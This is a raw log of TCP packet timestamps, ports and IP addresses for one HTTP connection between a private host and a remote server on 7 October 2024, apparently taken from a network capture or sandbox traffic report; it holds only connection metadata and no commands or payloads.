Oct 7, 2024 21:18:42.063146114 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.063153028 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.063188076 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.063548088 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.063584089 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.063613892 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.063616991 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.063622952 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.063652039 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.063685894 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.063702106 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.063719988 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.063738108 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.063754082 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.063762903 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.063790083 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.063795090 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.063823938 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.063832998 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.063862085 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.063865900 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.063898087 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.063930035 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.063940048 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.063965082 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.063998938 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.064008951 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.064033031 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.064039946 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.064068079 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.064100981 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.064111948 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.064161062 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.064351082 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.064383984 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.064395905 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.064416885 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.064435005 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.064452887 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.064459085 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.064517021 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.064549923 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.064562082 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.064580917 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.064615011 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.064626932 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.064649105 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.064656973 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.064683914 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.064717054 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.064727068 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.064749956 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.064783096 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.064795971 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.064815998 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.064841986 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.064850092 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.064870119 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.064884901 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.064894915 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.064920902 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.064928055 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.064954996 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.064990044 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.064999104 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.065021038 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.065064907 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.143038988 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.143076897 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.143106937 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.143112898 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.143132925 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.143152952 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.143183947 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.143217087 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.143249989 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.143277884 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.143282890 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.143313885 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.143340111 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.143464088 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.143496990 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.143517017 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.143533945 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.143538952 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.143575907 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.143584967 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.143619061 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.143629074 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.143652916 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.143660069 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.143688917 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.143693924 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.143726110 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.143731117 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.143769026 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.143862963 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.143898964 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.143910885 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.143932104 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.143965006 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.143978119 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.143999100 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.144005060 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.144032001 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.144045115 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.144064903 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.144074917 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.144100904 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.144107103 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.144143105 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.144418955 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.144450903 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.144473076 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.144484997 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.144495964 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.144519091 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.144529104 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.144555092 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.144562006 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.144588947 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.144598007 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.144623041 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.144635916 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.144658089 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.144668102 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.144690990 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.144711971 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.144726038 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.144735098 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.144762039 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.144768953 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.144797087 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.144804001 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.144833088 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.144880056 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.145121098 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.145153999 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.145186901 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.145206928 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.145220041 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.145224094 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.145255089 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.145287037 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.145297050 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.145320892 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.145328999 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.145354033 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.145374060 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.145387888 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.145410061 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.145420074 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.145425081 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.145454884 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.145486116 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.145503998 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.145519972 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.145531893 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.145555019 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.145560026 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.145590067 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.145623922 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.145658970 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.145662069 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.145673990 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.145689011 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.145704031 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.146096945 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.146158934 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.146207094 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.146287918 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.146320105 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.146346092 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.146372080 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.146377087 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.146405935 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.146414995 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.146440983 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.146450043 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.146476030 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.146483898 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.146511078 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.146524906 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.146545887 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.146553040 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.146579027 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.146611929 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.146630049 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.146645069 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.146677971 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.146689892 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.146711111 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.146717072 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.146745920 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.146778107 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.146802902 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.146811008 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.146822929 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.146888971 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.147098064 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.147130966 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.147164106 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.147181034 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.147198915 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.147232056 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.147245884 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.147265911 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.147274971 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.147300959 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.147334099 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.147345066 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.147367001 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.147412062 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.147418976 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.147454023 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.147463083 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.147488117 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.147490978 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.147521973 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.147557020 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.147564888 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.147598982 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.147752047 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.147784948 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.147818089 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.147831917 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.147850990 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.147862911 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.147886038 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.147918940 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.147931099 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.147953033 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.147962093 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.147988081 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.148020983 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.148036957 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.148053885 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.148087025 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.148097038 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.148118973 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.148124933 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.148153067 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.148175001 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.148185968 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.148201942 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.148220062 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.148241997 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.148252010 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.148257017 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.148286104 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.148293972 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.148519039 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.148565054 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.148586035 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.148618937 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.148652077 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.148663998 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.148693085 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.148694992 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.148724079 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.148767948 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.225128889 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.225162983 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.225195885 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.225229025 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.225225925 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.225263119 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.225266933 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.225281000 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.225303888 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.225307941 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.225337982 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.225347042 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.225378990 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.225454092 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.225486994 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.225519896 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.225532055 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.225554943 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.225599051 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.225606918 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.225640059 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.225650072 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.225673914 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.225707054 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.225723982 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.225754023 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.225775957 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.225807905 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.225838900 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.225841045 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.225852966 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.225878954 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.225929022 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.225944042 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.225992918 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.226027012 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.226039886 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.226059914 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.226068974 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.226095915 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.226129055 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.226139069 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.226161957 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.226195097 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.226205111 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.226231098 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.226236105 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.226484060 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.226486921 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.226516962 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.226550102 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.226560116 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.226583004 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.226598024 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.226619005 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.226625919 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.226651907 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.226661921 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.226686954 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.226694107 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.226721048 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.226728916 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.226754904 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.226763010 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.226788998 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.226797104 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.226824045 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.226830959 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.226857901 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.226866007 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.226892948 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.226898909 CEST	49810	80	192.168.2.5	95.164.90.97
